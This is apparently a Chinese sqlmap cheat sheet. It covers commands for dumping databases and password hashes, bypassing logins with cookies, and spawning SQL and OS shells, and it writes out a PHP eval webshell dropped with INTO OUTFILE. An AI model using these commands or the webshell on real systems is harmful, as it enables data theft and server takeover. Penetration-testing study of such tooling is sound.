Sqlmap使用
sqlmap支持五种不同的注入模式:
Sqlmap常规命令:
sqlmap -u url 指定目标url跑
sqlmap -r head.txt 抓包指定header头信息跑.-r指定文件
跑数据:
--dbs 跑数据库
-D 指定数据库
--tables 跑表名
-T 指定表名
--columns 跑字段
-C 指定字段
--dump 提取数据
--count 获取表的数量
参数:
--batch batch:自动选yes。
--banner 查看数据库版本信息
-smart 启发式快速判断,节约时间。
--flush-session 清空session缓存,重新扫描该目标
-z flu 缩写,忘记可短写,删除缓存
--random-agent 随机请求头
--user-agent="某请求头" 指定某请求头
--level x sqlmap扫描等级(1-5)
--threads x 设置测试线程数(1-10),默认线程1,可以自己改大的线程
--risk x (1-3)默认为1会测试大部分语句,2会增加基于事件的测试语句,3会增加or语句的SQL注入测试
sqlmap注入监测:
共有7个等级,默认为1
命令: -v 1-7
0、只显示python错误以及严重的信息。
1、同时显示基本信息和警告信息。(默认)
2、同时显示debug信息。
3、同时显示注入的payload。
4、同时显示HTTP请求。
5、同时显示HTTP响应头。
6、同时显示HTTP响应页面。
注:如果你想的测试payload最好的等级就是3。
Sqlmap命令操作:
查看数据库相关信息:
--current-user 枚举当前用户
--current-db 枚举当前数据库
--dbs 枚举可用的数据库
--is-dba 枚举数据库权限
--passwords 枚举数据库用户密码
指纹识别:
-f/--fingerprint 执行检查广泛的DBMS版本指纹
-b/--banner 检测数据库指纹
--hostname 枚举主机名称
Waf识别:
--identify-waf 检测waf信息
当url有多个参数值时:
-p 参数 #当显示302重定向时可以添加Cookie值进行扫描
指定Cookie进行扫描:
--cookie="Cookie值" #当需要登录时才可以扫面出漏洞
sqlmap -shell命令:
数据库操作:
--sql-shell #产生一个交互式的sql shell,用来执行sql命令
执行操作系统命令:
--os-cms=dir #也会生成上传脚本文件和后门文件,执行完后会删除文件。当选完脚本后直接退出sqlmap就会永久存在不会删除
交互式的系统操作的shell:
--os-shell #产生交互式的操作系统的shell,用来执行cmd命令
--os-shell 系统操作的要求:
(1)网站必须是root权限 #可用--is-dba来确认是否为root权限(当返回True时是管理员权限)
(2)攻击者需要知道网站的绝对路径 #利用报错信息来确认绝对路径
(3)GPC(魔术引号)为off,php主动转义的功能关闭 #php转义再PHP5.3.0废弃并将自PHP5.4.0起移除
(4)secure_file_priv为空 show global variables like '%secure%';
使用—os-shell之后会生成两个文件
1.上传脚本文件
2.后门文件
写入一句话木马:select "<?php @eval($_POST['pass']);?>" INTO OUTFILE "C:\\phpStudy\\WWW\\1.php";
sqlmap更新:
git clone https://github.com/sqlmapproject/sqlmap
sqlmap支持五种不同的注入模式:
- 基于布尔的盲注(
B
):即可以根据返回页面
判断条件的真假注入- 基于时间的盲注(
T
):既不能根据页面返回内容判断任何任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加
)来判断- 基于报错注入(
E
):即页面返回错误信息
,或者把注入的语句的结果直接返回页面中- 联合查询注入(U):可以使用union的情况下的注入
堆查询注入(S
):可以同时执行多条语句的注入注意:可以用
--technique
来指定要使用哪种注入模式,快速扫描
--technique BEUST
(可单独或混合指定注入模式进行快速扫描)
Burp+Sqlmap批量测试
Burp+Sqlmap批量测试命令
扫描多个数据包头:
sqlmap.py -l burp.log --batch --smart 扫描burp生成的log包
--scope="匹配log内容选择扫描(正则)"
代理监听Sqlmap测试语句:
python sqlmap.py -u "http://59.63.200.79:8804/single.php?id=1" --proxy=http://127.0.0.1:8080 查看历史记录测测试语句
Burp生成log流程图: